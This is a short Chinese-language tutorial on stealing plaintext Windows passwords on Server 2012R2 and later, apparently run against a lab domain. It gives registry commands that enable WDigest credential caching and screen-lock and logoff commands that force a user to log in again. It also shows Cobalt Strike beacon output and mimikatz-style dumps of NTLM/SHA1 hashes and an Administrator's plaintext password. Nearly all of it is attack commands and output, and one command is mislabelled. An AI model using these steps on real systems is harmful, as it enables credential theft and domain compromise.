Windows-2012R2之后抓取密码的方式

在Windows2012系统及以上的系统，默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文，需要用户重新登录后才能成功抓取

```
Authentication Id : 0 ; 9149461 (00000000:008b9c15)
Session           : Interactive from 2
User Name         : Administrator
Domain            : HACK
Logon Server      : DC
Logon Time        : 2022/7/24 19:59:36
SID               : S-1-5-21-2716900768-72748719-3475352185-500
     msv :
      [00000003] Primary
      * Username : Administrator
      * Domain   : HACK
      * NTLM     : b770f687b25fa6be274bf99a69398578
      * SHA1     : 3994afdf34ac75529aea015ca392d3ff1d5e16d7
      [00010000] CredentialKeys
      * NTLM     : b770f687b25fa6be274bf99a69398578
      * SHA1     : 3994afdf34ac75529aea015ca392d3ff1d5e16d7
     tspkg :
     wdigest :
      * Username : Administrator
      * Domain   : HACK
      * Password : (null)
     kerberos :
      * Username : Administrator
      * Domain   : HACK.COM
      * Password : (null)
     ssp :   KO
```

修改注册表和锁屏

修改注册表

```
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f 开启
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 0 /f 关闭
```

```
beacon> shell reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
[*] Tasked beacon to run: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
[+] host called home, sent: 159 bytes
[+] received output:
操作成功完成。
```

锁屏

```
rundll32.exe user32.dll,LockWorkStation 锁屏
query user 查询登录
logoff ID 下载
```

```
beacon> shell rundll32.exe user32.dll,LockWorkStation
[*] Tasked beacon to run: rundll32.exe user32.dll,LockWorkStation
[+] host called home, sent: 70 bytes
```

抓取密码

```
Authentication Id : 0 ; 9237865 (00000000:008cf569)
Session           : Interactive from 1
User Name         : Administrator
Domain            : HACK
Logon Server      : DC
Logon Time        : 2022/7/24 20:02:51
SID               : S-1-5-21-2716900768-72748719-3475352185-500
    msv :
     [00000003] Primary
     * Username : Administrator
     * Domain   : HACK
     * NTLM     : b770f687b25fa6be274bf99a69398578
     * SHA1     : 3994afdf34ac75529aea015ca392d3ff1d5e16d7
     [00010000] CredentialKeys
     * NTLM     : b770f687b25fa6be274bf99a69398578
     * SHA1     : 3994afdf34ac75529aea015ca392d3ff1d5e16d7
    tspkg :
    wdigest :
     * Username : Administrator
     * Domain   : HACK
     * Password : 12345kl;'\
    kerberos :
     * Username : Administrator
```